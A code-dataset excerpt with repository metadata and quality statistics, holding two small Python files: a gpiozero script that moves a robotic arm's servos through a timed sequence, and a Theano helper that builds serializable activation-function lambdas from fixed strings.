| 0
| 0
|
0
| 4
|
4f926bdff52171614996ef5449db8cb7aaa6d438
| 250
|
py
|
Python
|
copied data/robotic_arm.py
|
Prasanna-icefire/Army_Surviallence_Droverot
|
391d85fe3e51a1a15ed14091c6638a5a05e1fe4b
|
[
"MIT"
] | null | null | null |
copied data/robotic_arm.py
|
Prasanna-icefire/Army_Surviallence_Droverot
|
391d85fe3e51a1a15ed14091c6638a5a05e1fe4b
|
[
"MIT"
] | null | null | null |
copied data/robotic_arm.py
|
Prasanna-icefire/Army_Surviallence_Droverot
|
391d85fe3e51a1a15ed14091c6638a5a05e1fe4b
|
[
"MIT"
] | null | null | null |
from gpiozero import Servo
from time import sleep
clasp = Servo(15)
servo = Servo(14)
clasp.value=1
sleep(1)
clasp.min()
sleep(1)
servo.value = -1
sleep(1)
servo.value = 0
sleep(1)
servo.value = 0.5
sleep(1)
clasp.value=-1
sleep(1)
| 13.157895
| 27
| 0.664
| 44
| 250
| 3.772727
| 0.318182
| 0.216867
| 0.198795
| 0.216867
| 0.409639
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08
| 0.2
| 250
| 18
| 28
| 13.888889
| 0.75
| 0
| 0
| 0.375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.125
| null | null | 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
96e8c35b8d838a545a1fc34ce166172861ca1193
| 794
|
py
|
Python
|
src/python/class_serializable_lambda.py
|
dptam/neural_wfst
|
c0cd3e340a45c13fbe47310753432d496c20eb83
|
[
"MIT"
] | null | null | null |
src/python/class_serializable_lambda.py
|
dptam/neural_wfst
|
c0cd3e340a45c13fbe47310753432d496c20eb83
|
[
"MIT"
] | null | null | null |
src/python/class_serializable_lambda.py
|
dptam/neural_wfst
|
c0cd3e340a45c13fbe47310753432d496c20eb83
|
[
"MIT"
] | null | null | null |
'''
| Filename : class_serializable_lambda.py
| Description : Serializable Lambda
| Author : Pushpendre Rastogi
| Created : Wed Oct 21 18:44:05 2015 (-0400)
| Last-Updated: Sat Mar 26 16:35:57 2016 (-0400)
| By: Pushpendre Rastogi
| Update #: 6
'''
import theano
class SerializableLambda(object):
def __init__(self, s):
self.s = s
self.f = eval(s)
return
def __repr__(self):
return "SerializableLambda('%s')" % self.s
def __call__(self, *args, **kwargs):
return self.f(*args, **kwargs)
RELU_FN = SerializableLambda('lambda x: x + theano.tensor.abs_(x)')
SIGMOID_FN = SerializableLambda('lambda x: theano.tensor.nnet.sigmoid(x)')
TANH_FN = SerializableLambda('lambda x: 2*theano.tensor.nnet.sigmoid(2*x) - 1')
| 26.466667
| 79
| 0.646096
| 103
| 794
| 4.805825
| 0.533981
| 0.030303
| 0.157576
| 0.163636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057878
| 0.216625
| 794
| 29
| 80
| 27.37931
| 0.737942
| 0.335013
| 0
| 0
| 0
| 0
| 0.278846
| 0.205769
| 0
| 0
| 0
| 0
| 0
| 1
| 0.230769
| false
| 0
| 0.076923
| 0.153846
| 0.615385
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.